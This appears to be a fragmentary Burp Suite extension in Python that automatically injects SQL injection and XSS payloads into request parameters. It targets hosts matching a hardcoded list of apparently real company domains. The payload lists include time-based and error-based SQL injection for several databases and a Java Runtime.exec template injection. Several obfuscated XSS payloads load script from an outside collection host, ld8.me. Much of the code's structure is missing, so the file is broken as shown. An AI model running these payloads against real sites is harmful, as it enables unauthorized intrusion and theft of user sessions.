from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IScannerCheck
from burp import IScannerInsertionPointProvider
from burp import IParameter
from burp import IScanIssue
from urlparse import urlparse
") AND 2369=7570 AND (4882=4882",
") AND 4339=4339 AND (8027=8027",
"') AND 3730=1906 AND ('Xiuy'='Xiuy", "') AND 4339=4339 AND ('jHzJ'='jHzJ", "' AND 5377=9543 AND 'wHhK'='wHhK",
"' AND 4339=4339 AND 'vtqs'='vtqs",
") AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (8595=8595",
" AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)",
" AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tCOg",
"') AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('muUY'='muUY", "' AND (SELECT 2671 FROM(SELECT COUNT(*),CONCAT(0x717a767071,(SELECT (ELT(2671=2671,1))),0x7178787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IKdR'='IKdR",
") AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND (1207=1207",
" AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)",
" AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)-- fDiO",
"') AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND ('bytX'='bytX", "' AND 5486=CAST((CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5486=5486) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC) AND 'uLDf'='uLDf",
") AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND (2900=2900",
" AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)))",
" AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)))-- bSzZ",
"') AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND ('vPwk'='vPwk", "' AND 5027 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(118)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5027=5027) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'Kzmh'='Kzmh",
") AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (8033=8033",
" AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL)",
" AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL)-- pwLB",
"') AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND ('LLnX'='LLnX", "' AND 1605=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(118)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1605=1605) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND 'VBms'='VBms",
");SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
";SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
"');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
"';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(79)||CHR(108)||CHR(102),5) FROM DUAL--",
") AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND (7434=7434",
" AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5)",
" AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5)-- hKOD",
"') AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND ('crsX'='crsX", "' AND 4630=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(105)||CHR(89)||CHR(78),5) AND 'uSfm'='uSfm",
") ORDER BY 1211-- bTop",
"') ORDER BY 6248-- jCNB",
"' ORDER BY 8392-- odDc",
self.errorFlag = re.compile(r'.*(SQL syntax.*?MySQL|Warning.*?\Wmysqli?_|MySQLSyntaxErrorException|valid MySQL result|check the manual that|MySqlClient\.|com\.mysql\.jdbc|Mysqli_Exception|MySqlException|Syntax error|PostgreSQL.*?ERROR|Npgsql\.|PG::SyntaxError:|PSQLException|Driver.*? SQL*Server|OLE DB.*? SQL Server|Warning.*?\W(mssql|sqlsrv)_|ODBC SQL Server Driver|SQLServer JDBC Driver|SQL(Srv|Server)Exception|Oracle error|SQL command|OracleException|SQL error|DB2Exception|Informix|IfxException|SQL Error|SQLite|JDBCDriver|sqlite3|SQLiteException|DriverSapDB|Sybase|SybSQLException|SQLSTATE|SQL syntax|mysql_error|syntax error|nvarchar|valid Mysql|Unknown column|ODBC SQL SERVER|An unhandled exception|sqlException|SQLException|OleDbException).*')
");SELECT PG_SLEEP(9)--",
"');SELECT PG_SLEEP(9)--",
"';SELECT PG_SLEEP(9)--",
");WAITFOR DELAY '0:0:9'--",
";WAITFOR DELAY '0:0:9'--",
"');WAITFOR DELAY '0:0:9'--",
"';WAITFOR DELAY '0:0:9'--",
") AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND (8196=8196",
" AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo)",
" AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo)-- jSmg",
"') AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND ('KiWF'='KiWF", "' AND (SELECT 7932 FROM (SELECT(SLEEP(9)))GCSo) AND 'rJmG'='rJmG",
") AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND (1717=1717",
" AND 4459=(SELECT 4459 FROM PG_SLEEP(9))",
" AND 4459=(SELECT 4459 FROM PG_SLEEP(9))-- qool",
"') AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND ('gAwi'='gAwi", "' AND 4459=(SELECT 4459 FROM PG_SLEEP(9)) AND 'rGzj'='rGzj",
") WAITFOR DELAY '0:0:9' AND (8062=8062",
" WAITFOR DELAY '0:0:9'",
" WAITFOR DELAY '0:0:9'-- YuFz",
"') WAITFOR DELAY '0:0:9' AND ('CMmZ'='CMmZ", "' WAITFOR DELAY '0:0:9' AND 'dzum'='dzum",
"') and sleep(9) or ('a'='a", "') xor sleep(9) or ('a'='a", "' or sleep(9) or '1'='1'--",
"' and sleep(9) or '1'='1'--",
"' xor sleep(9) or '1'='1'--",
"\" or sleep(9) or \"\"=\"",
"\" sleep(9) or \"a\"=\"a",
"\" and sleep(9) or 1=1 --",
"' and sleep(9) or 1=1 --",
"' and sleep(9) or 'a'='a",
"') or sleep(9) or ('a'='a", "\") or sleep(9) or (\"a\"=\"a",
"'admin' or sleep(9) or 'x'='x';",
") and sleep(9) or ('a'='a", ") xor sleep(9) or ('a'='a", " or sleep(9) or '1'='1'--",
" and sleep(9) or '1'='1'--",
" xor sleep(9) or '1'='1'--",
"') and sleep(9) or ('a'='a", "') xor sleep(9) or ('a'='a", '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()' '$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()' "</tExtArEa>'\"><sCRiPt sRC=//ld8.me/XGGX></sCrIpT>",
"'\"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>",
"'\"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbGQ4Lm1lL1hHR1giO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>",
"</tEXtArEa>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fld8.me%2FXGGX%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>",
"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ld8.me/XGGX';>", "<embed src=https://ld8.me/liuyan/xs.swf?a=e&c=doc\u0075ment.write(St\u0072ing.from\u0043harCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,108,100,56,46,109,101,47,88,71,71,88,62,60,47,115,67,114,73,112,84,62)) allowscriptaccess=always type=application/x-shockwave-flash></embed>",
'<sCRiPt/SrC=//ld8.me/XGGX>',
'<Img srC=https://ld8.me/XGGX/test.jpg>',
'<Img srC="https://ld8.me/XGGX/test.jpg">',
'<Img sRC=//ld8.me/XGGX/test.jpg>',
'\'"</Script><Html Onmouseover=(confirm)(135790)//',
'<imG/sRc=l oNerrOr=(prompt)(135790) x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`135790` x>',
'<deTails open oNToggle=confi\u0072m(135790)>',
'<img sRc=l oNerrOr=(confirm)(135790) x>',
'<svg/x=">"/onload=confirm(135790)//',
'<svg%0Aonload=%09((pro\u006dpt))(135790)//',
'<iMg sRc=x:confirm`135790` oNlOad=e\u0076al(src)>',
'<sCript x>confirm`135790`</scRipt x>',
'<Script x>prompt(135790)</scRiPt x>',
'<sCriPt sRc=//ld8.me/XGGX>',
'<embed//sRc=//ld8.me/XGGX>',
'<base href=//ld8.me/XGGX><script src=/>',
'<object//data=//ld8.me/XGGX>',
'<s=" onclick=confirm`135790`>clickme',
'<svG oNLoad=co\u006efirm(1)>',
'\'"><y///oNMousEDown=((confirm))(135790)>Click',
'<img src=x onerror=confir\u006d`135790`>',
'<svg/onload=co\u006efir\u006d`135790`>'
class BurpExtender(IBurpExtender,IScannerCheck):
def registerExtenderCallbacks(self,callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._callbacks.registerScannerCheck(self)
self._callbacks.setExtensionName("SQL_inject") print("for SQL inject scan") def doPassiveScan(self, baseRequestResponse):
Request = baseRequestResponse.getRequest()
analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request )
httpService = baseRequestResponse.getHttpService()
host, port, protocol, ishttps, = self.get_server_info(httpService)
targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','224','226','129','130','bihuo','rv2go']
url = self.get_request_url(protocol, reqHeaders)
if (host.split('.')[-3] in targetHost) or (host.split('.')[-2] in targetHost): for parameter in reqParameters:
parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter)
if parameterType ==0 or parameterType ==1 :
t2 = threading.Thread(target=self.sqlBool, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
t3 = threading.Thread(target=self.sqlBlind, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
t4 = threading.Thread(target=self.xssTest, args=(
Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
def consolidateDuplicateIssues(self, existingIssue, newIssue):
def doActiveScan(self, baseRequestResponse, insertionPoint):
def sqlBlind(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
for paraNewValue in self.fuzzSQL.blind:
paraNewValue = parameterValue + urllib2.quote(paraNewValue)
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
sleepTime = endTime - startTime
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Blind SQL GET]',newReqUrl, newReqHeaders, newReqBodys) self.save(content + '\t\n')
def sqlBool(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
for paraNewValue in self.fuzzSQL.bool:
paraNewValue = parameterValue+urllib2.quote(paraNewValue)
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
errorInject = self.fuzzSQL.errorFlag.findall(newResBodys)
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+] Error SQL Get {} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Error]', errorInject, self.save(content + '\t\n')
resLengths.append(int(resLength))
newResStatusCodes.append(newResStatusCode)
if (resLengths[len(resLengths)-1] - resLengths[0] > 20) or (newResStatusCodes[-1]!=newResStatusCodes[0]) :
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+]{} -> {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[Bool SQL GET]',newReqUrl, newReqHeaders, newReqBodys) self.save(content + '\t\n')
def xssTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
for paraNewValue in self.fuzzSQL.xssPayload:
paraNewValue = parameterValue+urllib2.quote(paraNewValue)
newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);
newRequest = self._helpers.updateParameter(request, newParameter);
newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);
newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)
if '135790' in newResBodys:
newReqUrl = self.get_request_url(protocol, newReqHeaders)
content = '[+] XSS Get {} ->\n[Headers] -> {}\n[Bodys] -> {}'.format(newReqUrl,newReqHeaders,newReqBodys) self.save(content + '\t\n')
def get_response_info(self, response):
analyzedResponse = self._helpers.analyzeResponse(
resHeaders = analyzedResponse.getHeaders()
analyzedResponse.getBodyOffset():].tostring()
resStatusCode = analyzedResponse.getStatusCode()
for header in resHeaders:
if 'Content-Length' in header:
resLength = int(header.split(':')[1].strip()) return resHeaders, resBodys, resStatusCode, resLength
def get_server_info(self, httpService):
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
return host, port, protocol, ishttps
def get_parameter_Name_Value_Type(self, parameter):
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()
return parameterName, parameterValue, parameterType
def get_request_url(self, protocol, reqHeaders):
link = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] return protocol + '://' + host + link
f = open('burp_sql.txt', 'at') f.writelines(content + '\n\n')
def get_request_info(self, request):
analyzedRequest = self._helpers.analyzeRequest(
reqHeaders = analyzedRequest.getHeaders()
reqBodys = request[analyzedRequest.getBodyOffset():].tostring()
reqMethod = analyzedRequest.getMethod()
reqParameters = analyzedRequest.getParameters()
return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters